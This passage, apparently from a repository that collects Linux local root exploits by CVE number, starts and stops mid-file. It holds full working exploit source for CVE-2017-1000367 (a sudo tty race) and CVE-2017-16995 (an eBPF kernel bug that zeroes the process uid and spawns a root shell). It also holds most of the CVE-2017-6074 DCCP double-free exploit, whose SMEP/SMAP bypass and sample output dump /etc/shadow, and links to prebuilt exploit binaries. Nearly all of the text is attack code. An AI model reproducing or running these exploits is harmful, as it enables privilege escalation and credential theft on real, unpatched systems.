| } 131 | usleep(10000); 132 | 133 | printf("[.] overwriting thread started\n"); 134 | 135 | rv = socketpair(AF_LOCAL, SOCK_STREAM, 0, &sockets[0]); 136 | if (rv != 0) { 137 | perror("socketpair()"); 138 | exit(EXIT_FAILURE); 139 | } 140 | 141 | printf("[.] sockets opened\n"); 142 | 143 | sndbuf = SNDBUF; 144 | rv = setsockopt(sockets[1], SOL_SOCKET, SO_SNDBUFFORCE, 145 | &sndbuf, sizeof(sndbuf)); 146 | if (rv != 0) { 147 | perror("setsockopt()"); 148 | exit(EXIT_FAILURE); 149 | } 150 | 151 | printf("[.] sock->sk_sndbuf set to %x\n", SNDBUF * 2); 152 | 153 | pthread_t write_th; 154 | rv = pthread_create(&write_th, 0, write_thr, NULL); 155 | if (rv != 0) { 156 | perror("pthread_create()"); 157 | exit(EXIT_FAILURE); 158 | } 159 | usleep(10000); 160 | 161 | printf("[.] writing to socket\n"); 162 | 163 | // Wake up blocked write. 164 | rv = setsockopt(sockets[1], SOL_SOCKET, SO_SNDBUF, 165 | &sndbuf, sizeof(sndbuf)); 166 | if (rv != 0) { 167 | perror("setsockopt()"); 168 | exit(EXIT_FAILURE); 169 | } 170 | usleep(10000); 171 | 172 | close(sockets[0]); 173 | close(sockets[1]); 174 | 175 | return 0; 176 | } 177 | -------------------------------------------------------------------------------- /2016/CVE-2016-9793/trigger: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/anoaghost/Localroot_Compile/5b3b9088ee2f6169fa96f983a942a62e69286dda/2016/CVE-2016-9793/trigger -------------------------------------------------------------------------------- /2017/CVE-2017-1000112/pwn: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/anoaghost/Localroot_Compile/5b3b9088ee2f6169fa96f983a942a62e69286dda/2017/CVE-2017-1000112/pwn -------------------------------------------------------------------------------- /2017/CVE-2017-1000367/sudopwn: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/anoaghost/Localroot_Compile/5b3b9088ee2f6169fa96f983a942a62e69286dda/2017/CVE-2017-1000367/sudopwn -------------------------------------------------------------------------------- /2017/CVE-2017-1000367/sudopwn.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | 17 | #define EVENT_SIZE ( sizeof (struct inotify_event) ) 18 | #define EVENT_BUF_LEN ( 1024 * ( EVENT_SIZE + 16 ) ) 19 | 20 | 21 | int main( ) 22 | { 23 | 24 | int length, i = 0; 25 | int fd; 26 | int wd; 27 | char buffer[EVENT_BUF_LEN]; 28 | 29 | int master, slave; 30 | char pts_path[256]; 31 | 32 | cpu_set_t mask; 33 | struct sched_param params; 34 | params.sched_priority = 0; 35 | CPU_ZERO(&mask); 36 | CPU_SET(0, &mask); 37 | 38 | mkdir("/dev/shm/_tmp", 0755); 39 | symlink("/dev/pts/57", "/dev/shm/_tmp/_tty"); 40 | symlink("/usr/bin/sudo", "/dev/shm/_tmp/ 34873 "); 41 | 42 | fd = inotify_init(); 43 | wd = inotify_add_watch( fd, "/dev/shm/_tmp", IN_OPEN | IN_CLOSE_NOWRITE ); 44 | 45 | pid_t pid = fork(); 46 | 47 | if(pid == 0) { 48 | sched_setaffinity(pid, sizeof(mask), &mask); 49 | sched_setscheduler(pid, SCHED_IDLE, ¶ms); 50 | setpriority(PRIO_PROCESS, pid, 19); 51 | 52 | sleep(1); 53 | execlp("/dev/shm/_tmp/ 34873 ", "sudo", "-r", "unconfined_r", "/usr/bin/sum", "--\nHELLO\nWORLD\n", NULL); 54 | }else{ 55 | setpriority(PRIO_PROCESS, 0, -20); 56 | int state = 0; 57 | while(1) { 58 | length = read( fd, buffer, EVENT_BUF_LEN ); 59 | kill(pid, SIGSTOP); 60 | 61 | i=0; 62 | while ( i < length ) { 63 | struct inotify_event *event = ( struct inotify_event * ) &buffer[ i ]; 64 | 65 | if ( event->mask & IN_OPEN ) { 66 | //kill(pid, SIGSTOP); 67 | 68 | while(strcmp(pts_path,"/dev/pts/57")){ 69 | openpty(&master, &slave, &pts_path[0], NULL, NULL); 70 | }; 71 | //kill(pid, SIGCONT); 72 | break; 73 | 74 | }else if ( event->mask & IN_CLOSE_NOWRITE ) { 75 | //kill(pid, SIGSTOP); 76 | 77 | unlink("/dev/shm/_tmp/_tty"); 78 | symlink("/etc/motd", "/dev/shm/_tmp/_tty"); 79 | //kill(pid, SIGCONT); 80 | 81 | state = 1; 82 | break; 83 | } 84 | 85 | i += EVENT_SIZE + event->len; 86 | 87 | } 88 | kill(pid, SIGCONT); 89 | if(state == 1) break; 90 | } 91 | 92 | waitpid(pid, NULL, 0); 93 | inotify_rm_watch( fd, wd ); 94 | close( fd ); 95 | close(wd); 96 | 97 | unlink("/dev/shm/_tmp/_tty"); 98 | unlink("/dev/shm/_tmp/ 34873 "); 99 | rmdir("/dev/shm/_tmp"); 100 | close(master); 101 | close(slave); 102 | } 103 | 104 | } 105 | -------------------------------------------------------------------------------- /2017/CVE-2017-11176/exploit: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/anoaghost/Localroot_Compile/5b3b9088ee2f6169fa96f983a942a62e69286dda/2017/CVE-2017-11176/exploit -------------------------------------------------------------------------------- /2017/CVE-2017-16995/pwned: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/anoaghost/Localroot_Compile/5b3b9088ee2f6169fa96f983a942a62e69286dda/2017/CVE-2017-16995/pwned -------------------------------------------------------------------------------- /2017/CVE-2017-16995/upstream44.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Ubuntu 16.04.4 kernel priv esc 3 | * 4 | * all credits to @bleidl 5 | * - vnik 6 | */ 7 | 8 | // Tested on: 9 | // 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 10 | // if different kernel adjust CRED offset + check kernel stack size 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | 26 | #define PHYS_OFFSET 0xffff880000000000 27 | #define CRED_OFFSET 0x5f8 28 | #define UID_OFFSET 4 29 | #define LOG_BUF_SIZE 65536 30 | #define PROGSIZE 328 31 | 32 | int sockets[2]; 33 | int mapfd, progfd; 34 | 35 | char *__prog = "\xb4\x09\x00\x00\xff\xff\xff\xff" 36 | "\x55\x09\x02\x00\xff\xff\xff\xff" 37 | "\xb7\x00\x00\x00\x00\x00\x00\x00" 38 | "\x95\x00\x00\x00\x00\x00\x00\x00" 39 | "\x18\x19\x00\x00\x03\x00\x00\x00" 40 | "\x00\x00\x00\x00\x00\x00\x00\x00" 41 | "\xbf\x91\x00\x00\x00\x00\x00\x00" 42 | "\xbf\xa2\x00\x00\x00\x00\x00\x00" 43 | "\x07\x02\x00\x00\xfc\xff\xff\xff" 44 | "\x62\x0a\xfc\xff\x00\x00\x00\x00" 45 | "\x85\x00\x00\x00\x01\x00\x00\x00" 46 | "\x55\x00\x01\x00\x00\x00\x00\x00" 47 | "\x95\x00\x00\x00\x00\x00\x00\x00" 48 | "\x79\x06\x00\x00\x00\x00\x00\x00" 49 | "\xbf\x91\x00\x00\x00\x00\x00\x00" 50 | "\xbf\xa2\x00\x00\x00\x00\x00\x00" 51 | "\x07\x02\x00\x00\xfc\xff\xff\xff" 52 | "\x62\x0a\xfc\xff\x01\x00\x00\x00" 53 | "\x85\x00\x00\x00\x01\x00\x00\x00" 54 | "\x55\x00\x01\x00\x00\x00\x00\x00" 55 | "\x95\x00\x00\x00\x00\x00\x00\x00" 56 | "\x79\x07\x00\x00\x00\x00\x00\x00" 57 | "\xbf\x91\x00\x00\x00\x00\x00\x00" 58 | "\xbf\xa2\x00\x00\x00\x00\x00\x00" 59 | "\x07\x02\x00\x00\xfc\xff\xff\xff" 60 | "\x62\x0a\xfc\xff\x02\x00\x00\x00" 61 | "\x85\x00\x00\x00\x01\x00\x00\x00" 62 | "\x55\x00\x01\x00\x00\x00\x00\x00" 63 | "\x95\x00\x00\x00\x00\x00\x00\x00" 64 | "\x79\x08\x00\x00\x00\x00\x00\x00" 65 | "\xbf\x02\x00\x00\x00\x00\x00\x00" 66 | "\xb7\x00\x00\x00\x00\x00\x00\x00" 67 | "\x55\x06\x03\x00\x00\x00\x00\x00" 68 | "\x79\x73\x00\x00\x00\x00\x00\x00" 69 | "\x7b\x32\x00\x00\x00\x00\x00\x00" 70 | "\x95\x00\x00\x00\x00\x00\x00\x00" 71 | "\x55\x06\x02\x00\x01\x00\x00\x00" 72 | "\x7b\xa2\x00\x00\x00\x00\x00\x00" 73 | "\x95\x00\x00\x00\x00\x00\x00\x00" 74 | "\x7b\x87\x00\x00\x00\x00\x00\x00" 75 | "\x95\x00\x00\x00\x00\x00\x00\x00"; 76 | 77 | char bpf_log_buf[LOG_BUF_SIZE]; 78 | 79 | static int bpf_prog_load(enum bpf_prog_type prog_type, 80 | const struct bpf_insn *insns, int prog_len, 81 | const char *license, int kern_version) { 82 | union bpf_attr attr = { 83 | .prog_type = prog_type, 84 | .insns = (__u64)insns, 85 | .insn_cnt = prog_len / sizeof(struct bpf_insn), 86 | .license = (__u64)license, 87 | .log_buf = (__u64)bpf_log_buf, 88 | .log_size = LOG_BUF_SIZE, 89 | .log_level = 1, 90 | }; 91 | 92 | attr.kern_version = kern_version; 93 | 94 | bpf_log_buf[0] = 0; 95 | 96 | return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr)); 97 | } 98 | 99 | static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size, 100 | int max_entries) { 101 | union bpf_attr attr = { 102 | .map_type = map_type, 103 | .key_size = key_size, 104 | .value_size = value_size, 105 | .max_entries = max_entries 106 | }; 107 | 108 | return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr)); 109 | } 110 | 111 | static int bpf_update_elem(uint64_t key, uint64_t value) { 112 | union bpf_attr attr = { 113 | .map_fd = mapfd, 114 | .key = (__u64)&key, 115 | .value = (__u64)&value, 116 | .flags = 0, 117 | }; 118 | 119 | return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr)); 120 | } 121 | 122 | static int bpf_lookup_elem(void *key, void *value) { 123 | union bpf_attr attr = { 124 | .map_fd = mapfd, 125 | .key = (__u64)key, 126 | .value = (__u64)value, 127 | }; 128 | 129 | return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr)); 130 | } 131 | 132 | static void __exit(char *err) { 133 | fprintf(stderr, "error: %s\n", err); 134 | exit(-1); 135 | } 136 | 137 | static void prep(void) { 138 | mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3); 139 | if (mapfd < 0) 140 | __exit(strerror(errno)); 141 | 142 | progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, 143 | (struct bpf_insn *)__prog, PROGSIZE, "GPL", 0); 144 | 145 | if (progfd < 0) 146 | __exit(strerror(errno)); 147 | 148 | if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)) 149 | __exit(strerror(errno)); 150 | 151 | if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0) 152 | __exit(strerror(errno)); 153 | } 154 | 155 | static void writemsg(void) { 156 | char buffer[64]; 157 | 158 | ssize_t n = write(sockets[0], buffer, sizeof(buffer)); 159 | 160 | if (n < 0) { 161 | perror("write"); 162 | return; 163 | } 164 | if (n != sizeof(buffer)) 165 | fprintf(stderr, "short write: %lu\n", n); 166 | } 167 | 168 | #define __update_elem(a, b, c) \ 169 | bpf_update_elem(0, (a)); \ 170 | bpf_update_elem(1, (b)); \ 171 | bpf_update_elem(2, (c)); \ 172 | writemsg(); 173 | 174 | static uint64_t get_value(int key) { 175 | uint64_t value; 176 | 177 | if (bpf_lookup_elem(&key, &value)) 178 | __exit(strerror(errno)); 179 | 180 | return value; 181 | } 182 | 183 | static uint64_t __get_fp(void) { 184 | __update_elem(1, 0, 0); 185 | 186 | return get_value(2); 187 | } 188 | 189 | static uint64_t __read(uint64_t addr) { 190 | __update_elem(0, addr, 0); 191 | 192 | return get_value(2); 193 | } 194 | 195 | static void __write(uint64_t addr, uint64_t val) { 196 | __update_elem(2, addr, val); 197 | } 198 | 199 | static uint64_t get_sp(uint64_t addr) { 200 | return addr & ~(0x4000 - 1); 201 | } 202 | 203 | static void pwn(void) { 204 | uint64_t fp, sp, task_struct, credptr, uidptr; 205 | 206 | fp = __get_fp(); 207 | if (fp < PHYS_OFFSET) 208 | __exit("bogus fp"); 209 | 210 | sp = get_sp(fp); 211 | if (sp < PHYS_OFFSET) 212 | __exit("bogus sp"); 213 | 214 | task_struct = __read(sp); 215 | 216 | if (task_struct < PHYS_OFFSET) 217 | __exit("bogus task ptr"); 218 | 219 | printf("task_struct = %lx\n", task_struct); 220 | 221 | credptr = __read(task_struct + CRED_OFFSET); // cred 222 | 223 | if (credptr < PHYS_OFFSET) 224 | __exit("bogus cred ptr"); 225 | 226 | uidptr = credptr + UID_OFFSET; // uid 227 | if (uidptr < PHYS_OFFSET) 228 | __exit("bogus uid ptr"); 229 | 230 | printf("uidptr = %lx\n", uidptr); 231 | __write(uidptr, 0); // set both uid and gid to 0 232 | 233 | if (getuid() == 0) { 234 | printf("spawning root shell\n"); 235 | system("/bin/bash"); 236 | exit(0); 237 | } 238 | 239 | __exit("not vulnerable?"); 240 | } 241 | 242 | int main(int argc, char **argv) { 243 | prep(); 244 | pwn(); 245 | 246 | return 0; 247 | } 248 | -------------------------------------------------------------------------------- /2017/CVE-2017-18344/pwn: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/anoaghost/Localroot_Compile/5b3b9088ee2f6169fa96f983a942a62e69286dda/2017/CVE-2017-18344/pwn -------------------------------------------------------------------------------- /2017/CVE-2017-6074/poc.c: -------------------------------------------------------------------------------- 1 | // A proof-of-concept local root exploit for CVE-2017-6074. 2 | // Includes a semireliable SMAP/SMEP bypass. 3 | // Tested on 4.4.0-62-generic #83-Ubuntu kernel. 4 | // https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-6074 5 | // 6 | // Usage: 7 | // $ gcc poc.c -o pwn 8 | // $ ./pwn 9 | // [.] namespace sandbox setup successfully 10 | // [.] disabling SMEP & SMAP 11 | // [.] scheduling 0xffffffff81064550(0x406e0) 12 | // [.] waiting for the timer to execute 13 | // [.] done 14 | // [.] SMEP & SMAP should be off now 15 | // [.] getting root 16 | // [.] executing 0x402043 17 | // [.] done 18 | // [.] should be root now 19 | // [.] checking if we got root 20 | // [+] got r00t ^_^ 21 | // [!] don't kill the exploit binary, the kernel will crash 22 | // # cat /etc/shadow 23 | // ... 24 | // daemon:*:17149:0:99999:7::: 25 | // bin:*:17149:0:99999:7::: 26 | // sys:*:17149:0:99999:7::: 27 | // sync:*:17149:0:99999:7::: 28 | // games:*:17149:0:99999:7::: 29 | // ... 30 | // 31 | // Andrey Konovalov 32 | 33 | #define _GNU_SOURCE 34 | 35 | #include 36 | #include 37 | #include 38 | #include 39 | #include 40 | #include 41 | #include 42 | #include 43 | #include 44 | #include 45 | 46 | #include 47 | 48 | #include 49 | #include 50 | #include 51 | #include 52 | 53 | #include 54 | #include 55 | #include 56 | 57 | #define SMEP_SMAP_BYPASS 1 58 | 59 | // Needed for local root. 60 | #define COMMIT_CREDS 0xffffffff810a2840L 61 | #define PREPARE_KERNEL_CRED 0xffffffff810a2c30L 62 | #define SHINFO_OFFSET 1728 63 | 64 | // Needed for SMEP_SMAP_BYPASS. 65 | #define NATIVE_WRITE_CR4 0xffffffff81064550ul 66 | #define CR4_DESIRED_VALUE 0x406e0ul 67 | #define TIMER_OFFSET (728 + 48 + 104) 68 | 69 | #define KMALLOC_PAD 128 70 | #define KMALLOC_WARM 32 71 | #define CATCH_FIRST 6 72 | #define CATCH_AGAIN 16 73 | #define CATCH_AGAIN_SMALL 64 74 | 75 | // Port is incremented on each use. 76 | static int port = 11000; 77 | 78 | void debug(const char *msg) { 79 | /* 80 | char buffer[32]; 81 | snprintf(&buffer[0], sizeof(buffer), "echo '%s' > /dev/kmsg\n", msg); 82 | system(buffer); 83 | */ 84 | } 85 | 86 | // * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * * 87 | 88 | struct ubuf_info { 89 | uint64_t callback; // void (*callback)(struct ubuf_info *, bool) 90 | uint64_t ctx; // void * 91 | uint64_t desc; // unsigned long 92 | }; 93 | 94 | struct skb_shared_info { 95 | uint8_t nr_frags; // unsigned char 96 | uint8_t tx_flags; // __u8 97 | uint16_t gso_size; // unsigned short 98 | uint16_t gso_segs; // unsigned short 99 | uint16_t gso_type; // unsigned short 100 | uint64_t frag_list; // struct sk_buff * 101 | uint64_t hwtstamps; // struct skb_shared_hwtstamps 102 | uint32_t tskey; // u32 103 | uint32_t ip6_frag_id; // __be32 104 | uint32_t dataref; // atomic_t 105 | uint64_t destructor_arg; // void * 106 | uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS]; 107 | }; 108 | 109 | struct ubuf_info ui; 110 | 111 | void init_skb_buffer(char* buffer, void *func) { 112 | memset(&buffer[0], 0, 2048); 113 | 114 | struct skb_shared_info *ssi = (struct skb_shared_info *)&buffer[SHINFO_OFFSET]; 115 | 116 | ssi->tx_flags = 0xff; 117 | ssi->destructor_arg = (uint64_t)&ui; 118 | ssi->nr_frags = 0; 119 | ssi->frag_list = 0; 120 | 121 | ui.callback = (unsigned long)func; 122 | } 123 | 124 | struct timer_list { 125 | void *next; 126 | void *prev; 127 | unsigned long expires; 128 | void (*function)(unsigned long); 129 | unsigned long data; 130 | unsigned int flags; 131 | int slack; 132 | }; 133 | 134 | void init_timer_buffer(char* buffer, void *func, unsigned long arg) { 135 | memset(&buffer[0], 0, 2048); 136 | 137 | struct timer_list* timer = (struct timer_list *)&buffer[TIMER_OFFSET]; 138 | 139 | timer->next = 0; 140 | timer->prev = 0; 141 | timer->expires = 4294943360; 142 | timer->function = func; 143 | timer->data = arg; 144 | timer->flags = 1; 145 | timer->slack = -1; 146 | } 147 | 148 | // * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * * 149 | 150 | struct dccp_handle { 151 | struct sockaddr_in6 sa; 152 | int s1; 153 | int s2; 154 | }; 155 | 156 | void dccp_init(struct dccp_handle *handle, int port) { 157 | handle->sa.sin6_family = AF_INET6; 158 | handle->sa.sin6_port = htons(port); 159 | inet_pton(AF_INET6, "::1", &handle->sa.sin6_addr); 160 | handle->sa.sin6_flowinfo = 0; 161 | handle->sa.sin6_scope_id = 0; 162 | 163 | handle->s1 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP); 164 | if (handle->s1 == -1) { 165 | perror("socket(SOCK_DCCP)"); 166 | exit(EXIT_FAILURE); 167 | } 168 | 169 | int rv = bind(handle->s1, &handle->sa, sizeof(handle->sa)); 170 | if (rv != 0) { 171 | perror("bind()"); 172 | exit(EXIT_FAILURE); 173 | } 174 | 175 | rv = listen(handle->s1, 0x9); 176 | if (rv != 0) { 177 | perror("listen()"); 178 | exit(EXIT_FAILURE); 179 | } 180 | 181 | int optval = 8; 182 | rv = setsockopt(handle->s1, IPPROTO_IPV6, IPV6_RECVPKTINFO, 183 | &optval, sizeof(optval)); 184 | if (rv != 0) { 185 | perror("setsockopt(IPV6_RECVPKTINFO)"); 186 | exit(EXIT_FAILURE); 187 | } 188 | 189 | handle->s2 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP); 190 | if (handle->s1 == -1) { 191 | perror("socket(SOCK_DCCP)"); 192 | exit(EXIT_FAILURE); 193 | } 194 | } 195 | 196 | void dccp_kmalloc_kfree(struct dccp_handle *handle) { 197 | int rv = connect(handle->s2, &handle->sa, sizeof(handle->sa)); 198 | if (rv != 0) { 199 | perror("connect(SOCK_DCCP)"); 200 | exit(EXIT_FAILURE); 201 | } 202 | } 203 | 204 | void dccp_kfree_again(struct dccp_handle *handle) { 205 | int rv = shutdown(handle->s1, SHUT_RDWR); 206 | if (rv != 0) { 207 | perror("shutdown(SOCK_DCCP)"); 208 | exit(EXIT_FAILURE); 209 | } 210 | } 211 | 212 | void dccp_destroy(struct dccp_handle *handle) { 213 | close(handle->s1); 214 | close(handle->s2); 215 | } 216 | 217 | // * * * * * * * * * * * * * * Heap spraying * * * * * * * * * * * * * * * * * 218 | 219 | struct udp_fifo_handle { 220 | int fds[2]; 221 | }; 222 | 223 | void udp_fifo_init(struct udp_fifo_handle* handle) { 224 | int rv = socketpair(AF_LOCAL, SOCK_DGRAM, 0, handle->fds); 225 | if (rv != 0) { 226 | perror("socketpair()"); 227 | exit(EXIT_FAILURE); 228 | } 229 | } 230 | 231 | void udp_fifo_destroy(struct udp_fifo_handle* handle) { 232 | close(handle->fds[0]); 233 | close(handle->fds[1]); 234 | } 235 | 236 | void udp_fifo_kmalloc(struct udp_fifo_handle* handle, char *buffer) { 237 | int rv = send(handle->fds[0], buffer, 1536, 0); 238 | if (rv != 1536) { 239 | perror("send()"); 240 | exit(EXIT_FAILURE); 241 | } 242 | } 243 | 244 | void udp_fifo_kmalloc_small(struct udp_fifo_handle* handle) { 245 | char buffer[128]; 246 | int rv = send(handle->fds[0], &buffer[0], 128, 0); 247 | if (rv != 128) { 248 | perror("send()"); 249 | exit(EXIT_FAILURE); 250 | } 251 | } 252 | 253 | void udp_fifo_kfree(struct udp_fifo_handle* handle) { 254 | char buffer[2048]; 255 | int rv = recv(handle->fds[1], &buffer[0], 1536, 0); 256 | if (rv != 1536) { 257 | perror("recv()"); 258 | exit(EXIT_FAILURE); 259 | } 260 | } 261 | 262 | int timer_kmalloc() { 263 | int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP)); 264 | if (s == -1) { 265 | perror("socket(SOCK_DGRAM)"); 266 | exit(EXIT_FAILURE); 267 | } 268 | return s; 269 | } 270 | 271 | #define CONF_RING_FRAMES 1 272 | void timer_schedule(int handle, int timeout) { 273 | int optval = TPACKET_V3; 274 | int rv = setsockopt(handle, SOL_PACKET, PACKET_VERSION, 275 | &optval, sizeof(optval)); 276 | if (rv != 0) { 277 | perror("setsockopt(PACKET_VERSION)"); 278 | exit(EXIT_FAILURE); 279 | } 280 | struct tpacket_req3 tp; 281 | memset(&tp, 0, sizeof(tp)); 282 | tp.tp_block_size = CONF_RING_FRAMES * getpagesize(); 283 | tp.tp_block_nr = 1; 284 | tp.tp_frame_size = getpagesize(); 285 | tp.tp_frame_nr = CONF_RING_FRAMES; 286 | tp.tp_retire_blk_tov = timeout; 287 | rv = setsockopt(handle, SOL_PACKET, PACKET_RX_RING, 288 | (void *)&tp, sizeof(tp)); 289 | if (rv != 0) { 290 | perror("setsockopt(PACKET_RX_RING)"); 291 | exit(EXIT_FAILURE); 292 | } 293 | } 294 | 295 | void socket_sendmmsg(int sock, char *buffer) { 296 | struct mmsghdr msg[1]; 297 | 298 | msg[0].msg_hdr.msg_iovlen = 0; 299 | 300 | // Buffer to kmalloc. 301 | msg[0].msg_hdr.msg_control = &buffer[0]; 302 | msg[0].msg_hdr.msg_controllen = 2048; 303 | 304 | // Make sendmmsg exit easy with EINVAL. 305 | msg[0].msg_hdr.msg_name = "root"; 306 | msg[0].msg_hdr.msg_namelen = 1; 307 | 308 | int rv = syscall(__NR_sendmmsg, sock, msg, 1, 0); 309 | if (rv == -1 && errno != EINVAL) { 310 | perror("[-] sendmmsg()"); 311 | exit(EXIT_FAILURE); 312 | } 313 | } 314 | 315 | void sendmmsg_kmalloc_kfree(int port, char *buffer) { 316 | int sock[2]; 317 | 318 | int rv = socketpair(AF_LOCAL, SOCK_DGRAM, 0, sock); 319 | if (rv != 0) { 320 | perror("socketpair()"); 321 | exit(EXIT_FAILURE); 322 | } 323 | 324 | socket_sendmmsg(sock[0], buffer); 325 | 326 | close(sock[0]); 327 | } 328 | 329 | // * * * * * * * * * * * * * * Heap warming * * * * * * * * * * * * * * * * * 330 | 331 | void dccp_connect_pad(struct dccp_handle *handle, int port) { 332 | handle->sa.sin6_family = AF_INET6; 333 | handle->sa.sin6_port = htons(port); 334 | inet_pton(AF_INET6, "::1", &handle->sa.sin6_addr); 335 | handle->sa.sin6_flowinfo = 0; 336 | handle->sa.sin6_scope_id = 0; 337 | 338 | handle->s1 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP); 339 | if (handle->s1 == -1) { 340 | perror("socket(SOCK_DCCP)"); 341 | exit(EXIT_FAILURE); 342 | } 343 | 344 | int rv = bind(handle->s1, &handle->sa, sizeof(handle->sa)); 345 | if (rv != 0) { 346 | perror("bind()"); 347 | exit(EXIT_FAILURE); 348 | } 349 | 350 | rv = listen(handle->s1, 0x9); 351 | if (rv != 0) { 352 | perror("listen()"); 353 | exit(EXIT_FAILURE); 354 | } 355 | 356 | handle->s2 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP); 357 | if (handle->s1 == -1) { 358 | perror("socket(SOCK_DCCP)"); 359 | exit(EXIT_FAILURE); 360 | } 361 | 362 | rv = connect(handle->s2, &handle->sa, sizeof(handle->sa)); 363 | if (rv != 0) { 364 | perror("connect(SOCK_DCCP)"); 365 | exit(EXIT_FAILURE); 366 | } 367 | } 368 | 369 | void dccp_kmalloc_pad() { 370 | int i; 371 | struct dccp_handle handle; 372 | for (i = 0; i < 4; i++) { 373 | dccp_connect_pad(&handle, port++); 374 | } 375 | } 376 | 377 | void timer_kmalloc_pad() { 378 | int i; 379 | for (i = 0; i < 4; i++) { 380 | socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP)); 381 | } 382 | } 383 | 384 | void udp_kmalloc_pad() { 385 | int i, j; 386 | char dummy[2048]; 387 | struct udp_fifo_handle uh[16]; 388 | for (i = 0; i < KMALLOC_PAD / 16; i++) { 389 | udp_fifo_init(&uh[i]); 390 | for (j = 0; j < 16; j++) 391 | udp_fifo_kmalloc(&uh[i], &dummy[0]); 392 | } 393 | } 394 | 395 | void kmalloc_pad() { 396 | debug("dccp kmalloc pad"); 397 | dccp_kmalloc_pad(); 398 | debug("timer kmalloc pad"); 399 | timer_kmalloc_pad(); 400 | debug("udp kmalloc pad"); 401 | udp_kmalloc_pad(); 402 | } 403 | 404 | void udp_kmalloc_warm() { 405 | int i, j; 406 | char dummy[2048]; 407 | struct udp_fifo_handle uh[16]; 408 | for (i = 0; i < KMALLOC_WARM / 16; i++) { 409 | udp_fifo_init(&uh[i]); 410 | for (j = 0; j < 16; j++) 411 | udp_fifo_kmalloc(&uh[i], &dummy[0]); 412 | } 413 | for (i = 0; i < KMALLOC_WARM / 16; i++) { 414 | for (j = 0; j < 16; j++) 415 | udp_fifo_kfree(&uh[i]); 416 | } 417 | } 418 | 419 | void kmalloc_warm() { 420 | udp_kmalloc_warm(); 421 | } 422 | 423 | // * * * * * * * * * * * * * Disabling SMEP/SMAP * * * * * * * * * * * * * * * 424 | 425 | // Executes func(arg) from interrupt context multiple times. 426 | void kernel_exec_irq(void *func, unsigned long arg) { 427 | int i; 428 | struct dccp_handle dh; 429 | struct udp_fifo_handle uh1, uh2, uh3, uh4; 430 | char dummy[2048]; 431 | char buffer[2048]; 432 | 433 | printf("[.] scheduling %p(%p)\n", func, (void *)arg); 434 | 435 | memset(&dummy[0], 0xc3, 2048); 436 | init_timer_buffer(&buffer[0], func, arg); 437 | 438 | udp_fifo_init(&uh1); 439 | udp_fifo_init(&uh2); 440 | udp_fifo_init(&uh3); 441 | udp_fifo_init(&uh4); 442 | 443 | debug("kmalloc pad"); 444 | kmalloc_pad(); 445 | 446 | debug("kmalloc warm"); 447 | kmalloc_warm(); 448 | 449 | debug("dccp init"); 450 | dccp_init(&dh, port++); 451 | 452 | debug("dccp kmalloc kfree"); 453 | dccp_kmalloc_kfree(&dh); 454 | 455 | debug("catch 1"); 456 | for (i = 0; i < CATCH_FIRST; i++) 457 | udp_fifo_kmalloc(&uh1, &dummy[0]); 458 | 459 | debug("dccp kfree again"); 460 | dccp_kfree_again(&dh); 461 | 462 | debug("catch 2"); 463 | for (i = 0; i < CATCH_FIRST; i++) 464 | udp_fifo_kmalloc(&uh2, &dummy[0]); 465 | 466 | int timers[CATCH_FIRST]; 467 | debug("catch 1 -> timer"); 468 | for (i = 0; i < CATCH_FIRST; i++) { 469 | udp_fifo_kfree(&uh1); 470 | timers[i] = timer_kmalloc(); 471 | } 472 | 473 | debug("catch 1 small"); 474 | for (i = 0; i < CATCH_AGAIN_SMALL; i++) 475 | udp_fifo_kmalloc_small(&uh4); 476 | 477 | debug("schedule timers"); 478 | for (i = 0; i < CATCH_FIRST; i++) 479 | timer_schedule(timers[i], 500); 480 | 481 | debug("catch 2 -> overwrite timers"); 482 | for (i = 0; i < CATCH_FIRST; i++) { 483 | udp_fifo_kfree(&uh2); 484 | udp_fifo_kmalloc(&uh3, &buffer[0]); 485 | } 486 | 487 | debug("catch 2 small"); 488 | for (i = 0; i < CATCH_AGAIN_SMALL; i++) 489 | udp_fifo_kmalloc_small(&uh4); 490 | 491 | printf("[.] waiting for the timer to execute\n"); 492 | 493 | debug("wait"); 494 | sleep(1); 495 | 496 | printf("[.] done\n"); 497 | } 498 | 499 | void disable_smep_smap() { 500 | printf("[.] disabling SMEP & SMAP\n"); 501 | kernel_exec_irq((void *)NATIVE_WRITE_CR4, CR4_DESIRED_VALUE); 502 | printf("[.] SMEP & SMAP should be off now\n"); 503 | } 504 | 505 | // * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * * * 506 | 507 | // Executes func() from process context. 508 | void kernel_exec(void *func) { 509 | int i; 510 | struct 